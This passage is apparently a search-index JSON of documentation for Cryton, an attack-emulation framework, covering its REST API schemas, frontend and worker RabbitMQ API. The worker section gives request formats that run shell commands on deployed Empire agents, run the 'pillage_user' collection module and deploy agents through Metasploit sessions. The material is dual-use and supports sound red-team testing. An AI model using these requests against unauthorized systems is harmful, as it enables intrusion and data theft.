No"},{"location":"interfaces/core-rest-api/#paginatedstageexecutionlist","title":"PaginatedStageExecutionList","text":"Name Type Description Required count integer Example: <code>123</code> No next string (uri) Example: <code>\"http://api.example.org/accounts/?offset=400&limit=100\"</code> No previous string (uri) Example: <code>\"http://api.example.org/accounts/?offset=200&limit=100\"</code> No results [ object ] No"},{"location":"interfaces/core-rest-api/#paginatedstagelist","title":"PaginatedStageList","text":"Name Type Description Required count integer Example: <code>123</code> No next string (uri) Example: <code>\"http://api.example.org/accounts/?offset=400&limit=100\"</code> No previous string (uri) Example: <code>\"http://api.example.org/accounts/?offset=200&limit=100\"</code> No results [ object ] No"},{"location":"interfaces/core-rest-api/#paginatedstepexecutionlist","title":"PaginatedStepExecutionList","text":"Name Type Description Required count integer Example: <code>123</code> No next string (uri) Example: <code>\"http://api.example.org/accounts/?offset=400&limit=100\"</code> No previous string (uri) Example: <code>\"http://api.example.org/accounts/?offset=200&limit=100\"</code> No results [ object ] No"},{"location":"interfaces/core-rest-api/#paginatedsteplist","title":"PaginatedStepList","text":"Name Type Description Required count integer Example: <code>123</code> No next string (uri) Example: <code>\"http://api.example.org/accounts/?offset=400&limit=100\"</code> No previous string (uri) Example: <code>\"http://api.example.org/accounts/?offset=200&limit=100\"</code> No results [ object ] No"},{"location":"interfaces/core-rest-api/#paginatedworkerlist","title":"PaginatedWorkerList","text":"Name Type Description Required count integer Example: <code>123</code> No next string (uri) Example: <code>\"http://api.example.org/accounts/?offset=400&limit=100\"</code> No previous string (uri) Example: <code>\"http://api.example.org/accounts/?offset=200&limit=100\"</code> No results [ object ] No"},{"location":"interfaces/core-rest-api/#plan","title":"Plan","text":"Name Type Description Required id integer Yes created_at dateTime Yes updated_at dateTime Yes name string Yes owner string Yes dynamic boolean No"},{"location":"interfaces/core-rest-api/#plancreate","title":"PlanCreate","text":"Name Type Description Required template_id integer Yes file string (uri) Yes"},{"location":"interfaces/core-rest-api/#planexecute","title":"PlanExecute","text":"Name Type Description Required run_id integer Yes worker_id integer Yes"},{"location":"interfaces/core-rest-api/#planexecution","title":"PlanExecution","text":"Name Type Description Required id integer Yes created_at dateTime Yes updated_at dateTime Yes state string No start_time dateTime No pause_time dateTime No finish_time dateTime No schedule_time dateTime No aps_job_id string Yes evidence_directory string Yes run integer Yes plan_model integer Yes worker integer Yes"},{"location":"interfaces/core-rest-api/#plantemplate","title":"PlanTemplate","text":"Name Type Description Required id integer Yes file string (uri) Yes"},{"location":"interfaces/core-rest-api/#run","title":"Run","text":"Name Type Description Required id integer Yes created_at dateTime Yes updated_at dateTime Yes state string No start_time dateTime No pause_time dateTime No finish_time dateTime No schedule_time dateTime No aps_job_id string Yes plan_model integer Yes"},{"location":"interfaces/core-rest-api/#runcreate","title":"RunCreate","text":"Name Type Description Required plan_id integer Yes worker_ids [ integer ] Yes"},{"location":"interfaces/core-rest-api/#runcreatedetail","title":"RunCreateDetail","text":"Name Type Description Required detail string Yes id integer Yes plan_execution_ids [ integer ] Yes"},{"location":"interfaces/core-rest-api/#runpostpone","title":"RunPostpone","text":"Name Type Description Required delta string Yes"},{"location":"interfaces/core-rest-api/#runschedule","title":"RunSchedule","text":"Name Type Description Required start_time string Yes"},{"location":"interfaces/core-rest-api/#stage","title":"Stage","text":"Name Type Description Required id integer Yes created_at dateTime Yes updated_at dateTime Yes name string Yes trigger_type string Yes trigger_args object Yes plan_model integer Yes"},{"location":"interfaces/core-rest-api/#stagecreate","title":"StageCreate","text":"Name Type Description Required file string (uri) Yes inventory_file string (uri) Yes plan_id integer Yes"},{"location":"interfaces/core-rest-api/#stageexecution","title":"StageExecution","text":"Name Type Description Required id integer Yes created_at dateTime Yes updated_at dateTime Yes state string No start_time dateTime No pause_time dateTime No finish_time dateTime No schedule_time dateTime No aps_job_id string Yes trigger_id string Yes plan_execution integer Yes stage_model integer Yes"},{"location":"interfaces/core-rest-api/#stageexecutionreexecute","title":"StageExecutionReExecute","text":"Name Type Description Required immediately boolean Yes"},{"location":"interfaces/core-rest-api/#stagestarttrigger","title":"StageStartTrigger","text":"Name Type Description Required plan_execution_id integer Yes"},{"location":"interfaces/core-rest-api/#stagevalidate","title":"StageValidate","text":"Name Type Description Required file string (uri) Yes inventory_file string (uri) Yes dynamic string No"},{"location":"interfaces/core-rest-api/#step","title":"Step","text":"Name Type Description Required id integer Yes created_at dateTime Yes updated_at dateTime Yes name string Yes step_type string Yes arguments object Yes is_init boolean No is_final boolean No output_prefix string Yes stage_model integer Yes"},{"location":"interfaces/core-rest-api/#stepcreate","title":"StepCreate","text":"Name Type Description Required file string (uri) Yes inventory_file string (uri) Yes stage_id integer Yes"},{"location":"interfaces/core-rest-api/#stepexecute","title":"StepExecute","text":"Name Type Description Required stage_execution_id integer Yes"},{"location":"interfaces/core-rest-api/#stepexecution","title":"StepExecution","text":"Name Type Description Required id integer Yes created_at dateTime Yes updated_at dateTime Yes state string No start_time dateTime No pause_time dateTime No finish_time dateTime No result string No serialized_output object No output string No valid boolean No parent_id integer No stage_execution integer Yes step_model integer Yes"},{"location":"interfaces/core-rest-api/#worker","title":"Worker","text":"Name Type Description Required id integer Yes created_at dateTime Yes updated_at dateTime Yes name string Yes description string Yes state string No"},{"location":"interfaces/core-rest-api/#workercreate","title":"WorkerCreate","text":"Name Type Description Required name string Yes description string Yes force boolean Yes"},{"location":"interfaces/frontend/","title":"Frontend","text":"<p>Cryton Frontend provides functionality for interacting with Cryton Core more easily and clearly than by using CLI.</p>"},{"location":"interfaces/frontend/#listing-data","title":"Listing data","text":"<p>You can list all Cryton data by using list pages in the navigation bar. Most important data can be found directly in the dashboard. Each data table provides functionality for sorting and filtering data.</p>"},{"location":"interfaces/frontend/#creating-objects","title":"Creating objects","text":"<p>You can create workers, templates, instances, and runs by using create pages in the navigation bar. Every object can be also deleted from its list page.</p>"},{"location":"interfaces/frontend/#template-creation","title":"Template creation","text":"<p>You can create plan templates in the Plan templates > Create template. The whole creation process is documented in-app with an introduction page and additional help pages for every creation step.</p>"},{"location":"interfaces/frontend/#run-interaction","title":"Run interaction","text":"<p>The front end provides 2 ways to interact with runs. There is a quick interaction menu that you can access in Runs > List runs by clicking on a run. The interaction menu will expand under the run. Another way is to click on the eye icon next to the run which will take you to the run's page. There you can also view the current state of the run and its sub-parts, and modify the execution variables for each execution.</p>"},{"location":"interfaces/frontend/#execution-timeline","title":"Execution timeline","text":"<p>You can view timelines of the run's executions by clicking on the clock icon next to a run on the list runs page or by clicking on the show timeline button on the run's page. The timeline shows the start, pause and finish times of the whole execution, stages, and steps. More details can be found in an in-app help page found inside the timeline tab.</p>"},{"location":"interfaces/frontend/#theming","title":"Theming","text":"<p>The front end provides two color themes - light and dark. You can switch between them with a toggle button in the top bar.</p>"},{"location":"interfaces/worker-rabbit-api/","title":"Worker (Rabbit API)","text":"<p>Worker utilizes RabbitMQ as it's messaging protocol for asynchronous RPC.</p>"},{"location":"interfaces/worker-rabbit-api/#rabbit-api","title":"Rabbit API","text":"<p>Worker is able to process any request sent through RabbitMQ to its Queues (<code>cryton_worker.WORKER_NAME.attack.request</code>, <code>cryton_worker.WORKER_NAME.control.request</code>, <code>cryton_worker.WORKER_NAME.agent.request</code>) defined using WORKER_NAME (can be changed using CLI or in the settings).</p> <p>The response is sent to the queue defined using the <code>reply_to</code> parameter in a message.properties.</p>"},{"location":"interfaces/worker-rabbit-api/#attack-requests","title":"Attack requests","text":"<p>Requests to execute a command or a module are being processed in the <code>cryton_worker.WORKER_NAME.attack.request</code> queue. List of supported requests:</p>"},{"location":"interfaces/worker-rabbit-api/#execute-attack-module","title":"Execute attack module","text":"<p>To execute an attack module, send a message to <code>cryton_worker.WORKER_NAME.attack.request</code> queue in a format ```json lines {\"ack_queue\": \"confirmation_queue\", \"step_type\": \"worker/execute\", \"module\": module_name, \"module_arguments\": module_arguments} <pre><code>ACK response format:\n```json\n{\"return_code\": 0, \"correlation_id\": \"id\"}\n</code></pre></p> <p>Response format: <pre><code>{\"return_code\": 0, \"output\": \"\", \"serialized_output\": \"\"}\n</code></pre></p>"},{"location":"interfaces/worker-rabbit-api/#execute-command-on-agent","title":"Execute command on agent","text":"<p>To execute a command on a deployed agent, send a message to the <code>cryton_worker.WORKER_NAME.attack.request</code> queue in a format <pre><code>{\"step_type\": \"empire/execute\", \"arguments\": {\"shell_command\": \"whoami\", \"use_agent\": \"MyAgent\"}}\n</code></pre></p> <p>ACK response format: <pre><code>{\"return_code\": 0, \"correlation_id\": \"id\"}\n</code></pre></p> <p>Response format: <pre><code>{\"return_code\": 0, \"output\": \"\", \"serialized_output\": \"\"}\n</code></pre></p>"},{"location":"interfaces/worker-rabbit-api/#execute-empire-module-on-agent","title":"Execute empire module on agent","text":"<p>To execute an empire module on a deployed agent, send a message to the <code>cryton_worker.WORKER_NAME.attack.request</code> queue in a format <pre><code>{\"step_type\": \"empire/execute\", \"arguments\": { \"empire_module\": \"python/collection/linux/pillage_user\", \"use_agent\": \"MyAgent\"}}\n</code></pre></p> <p>ACK response format: <pre><code>{\"return_code\": 0, \"correlation_id\": \"id\"}\n</code></pre></p> <p>Response format: <pre><code>{\"return_code\": 0, \"output\": \"\", \"serialized_output\": \"\"}\n</code></pre></p>"},{"location":"interfaces/worker-rabbit-api/#agent-requests","title":"Agent requests","text":"<p>Requests to control empire agents are being processed in <code>cryton_worker.WORKER_NAME.agent.request</code> queue. List of supported requests:</p>"},{"location":"interfaces/worker-rabbit-api/#deploy-agent","title":"Deploy agent","text":"<p>Deploy an agent and send a response containing the result. Example: <pre><code>{\"step_type\": \"empire/agent-deploy\", \"arguments\": {\"stager_type\": \"multi/bash\", \"agent_name\": \"MyAgent\", \"listener_name\": \"TestListener\", \"listener_port\": 80, \"session_id\": \"MSF_SESSION_ID\"}}\n</code></pre></p> <p>Response example: <pre><code>{\"return_code\": 0, \"output\": \"Agent 'MyAgent' deployed on target 192.168.33.12.\"}\n</code></pre></p>"},{"location":"interfaces/worker-rabbit-api/#control-requests","title":"Control requests","text":"<p>To perform a control event send a message to <code>cryton_worker.WORKER_NAME.control.request</code> queue in a format ```json lines {\"event_t\": type, \"event_v\": value} <pre><code>Response format:\n```json lines\n{\"event_t\": type, \"event_v\": value}\n</code></pre></p> <p>List of supported requests:</p>"},{"location":"interfaces/worker-rabbit-api/#validate-module","title":"Validate module","text":"<p>Validate a module and send a response containing the result. Example: ```json lines {\"event_t\": \"VALIDATE_MODULE\", \"event_v\": {\"module\": module_name, \"module_arguments\": module_arguments}} <pre><code>Response example: \n```json\n{\"event_t\": \"VALIDATE_MODULE\", \"event_v\": {\"return_code\": 0, \"output\": \"output\"}}\n</code></pre></p>"},{"location":"interfaces/worker-rabbit-api/#list-modules","title":"List modules","text":"<p>List available modules and send a response containing the result. </p> <p>Request example: <pre><code>{\"event_t\": \"LIST_MODULES\", \"event_v\": {}}\n</code></pre></p> <p>Response example: <pre><code>{\"event_t\": \"LIST_MODULES\", \"event_v\": {\"module_list\": [\"module_name\"]}}\n</code></pre></p>"},{"location":"interfaces/worker-rabbit-api/#list-sessions","title":"List sessions","text":"<p>List available Metasploit sessions and send a response containing the result.</p> <p>Request example: ```json lines {\"event_t\": \"LIST_SESSIONS\", \"event_v\": {\"target_host\": target_ip}} <pre><code>Response example: \n```json\n{\"event_t\": \"LIST_SESSIONS\", \"event_v\": {\"session_list\": [\"session_id\"]}}\n</code></pre></p>"},{"location":"interfaces/worker-rabbit-api/#kill-step-execution","title":"Kill Step execution","text":"<p>Kill running Step (module) and send a response containing the result. Example: ```json lines {\"event_t\": \"KILL_STEP_EXECUTION\", \"event_v\": {\"correlation_id\": correlation_id}} <pre><code>Response example:\n```json\n{\"event_t\": \"KILL_STEP_EXECUTION\", \"event_v\": {\"return_code\": -2, \"output\": \"exception\"}}\n</code></pre></p>"},{"location":"interfaces/worker-rabbit-api/#health-check","title":"Health check","text":"<p>Check if Worker is alive and send a response containing the result. Example: <pre><code>{\"event_t\": \"HEALTH_CHECK\", \"event_v\": {}}\n</code></pre></p> <p>Response example: <pre><code>{\"event_t\": \"HEALTH_CHECK\", \"event_v\": {\"return_code\": 0}}\n</code></pre></p>"},{"location":"interfaces/worker-rabbit-api/#add-trigger-for-httplistener","title":"Add trigger for HTTPListener","text":"<p>Add trigger with parameters and start listener with <code>host</code> and <code>port</code> if it doesn't already exists, send a response containing the result afterwards. </p> <p>Request example: ```json lines {\"event_t\": \"ADD_TRIGGER\", \"event_v\": {\"host\": host, \"port\": port, \"listener_type\": \"HTTP\", \"reply_to\": reply_to_queue, \"routes\": [{\"path\": path, \"method\": method, \"parameters\": [{\"name\": name, \"value\": value}]}]}} <pre><code>Response example:\n```json\n{\"event_t\": \"ADD_TRIGGER\", \"event_v\": {\"return_code\": 0, \"trigger_id\": \"123\"}}\n</code></pre></p>"},{"location":"interfaces/worker-rabbit-api/#remove-trigger-for-httplistener","title":"Remove trigger for HTTPListener","text":"<p>Remove trigger, optionally stop the HTTPListener if there are no triggers left and send a response containing the result. </p> <p>Request example: <pre><code>{\"event_t\": \"REMOVE_TRIGGER\", \"event_v\": {\"trigger_id\": \"123\"}}\n</code></pre></p>"},{"location":"interfaces/worker-rabbit-api/#add-trigger-for-msflistener","title":"Add trigger for MSFListener","text":"<p>Add trigger with session identifiers and start MSFListener.</p> <p>Request example: <pre><code>{\"event_t\": \"ADD_TRIGGER\", \"event_v\": {\"listener_type\": \"MSF\", \"reply_to\": \"cryton_core.control.response\", \"identifiers\": {\"via_exploit\": \"auxiliary/scanner/ssh/ssh_login\"}}}\n</code></pre></p> <p>Response example: <pre><code>{\"event_t\": \"ADD_TRIGGER\", \"event_v\": {\"return_code\": 0, \"trigger_id\": \"123\"}}\n</code></pre></p>"},{"location":"interfaces/worker-rabbit-api/#remove-trigger-for-msflistener","title":"Remove trigger for MSFListener","text":"<p>This will stop the MSFListener because it can't have multiple triggers.</p> <p>Request example: <pre><code>{\"event_t\": \"REMOVE_TRIGGER\", \"event_v\": {\"trigger_id\": \"123\"}}\n</code></pre></p> <p>Response example: <pre><code>{\"event_t\": \"REMOVE_TRIGGER\", \"event_v\": {\"return_code\": -2, \"output\": \"exception\"}}\n</code></pre></p>"},{"location":"interfaces/worker-rabbit-api/#list-triggers","title":"List triggers","text":"<p>List available triggers and send a response containing the result. </p> <p>Example: <pre><code>{\"event_t\": \"LIST_TRIGGERS\", \"event_v\": {}}\n</code></pre></p> <p>Response example: ```json lines {\"event_t\": \"LIST_TRIGGERS\", \"event_v\": {\"trigger_list\": [{\"id\": \"123\", \"trigger_param\": \"trigger_param_value\", ...}]}} <pre><code>#### Trigger Stage (Response only)\nSent when a trigger is activated.\n\nResponse example:\n```json lines\n{\"event_t\": \"TRIGGER_STAGE\", \"event_v\": {\"stage_execution_id\": stage_execution_id}}\n</code></pre></p>"}]} \ No newline at end of file diff --git a/public/master/sitemap.xml.gz b/public/master/sitemap.xml.gz index b8be8c6ff4928728b1eae1bc04c9784cbde36853..c59feb94e6005b79a08e622ffb22ba93ff0e7f98 100644 Binary files a/public/master/sitemap.xml.gz and b/public/master/sitemap.xml.gz differ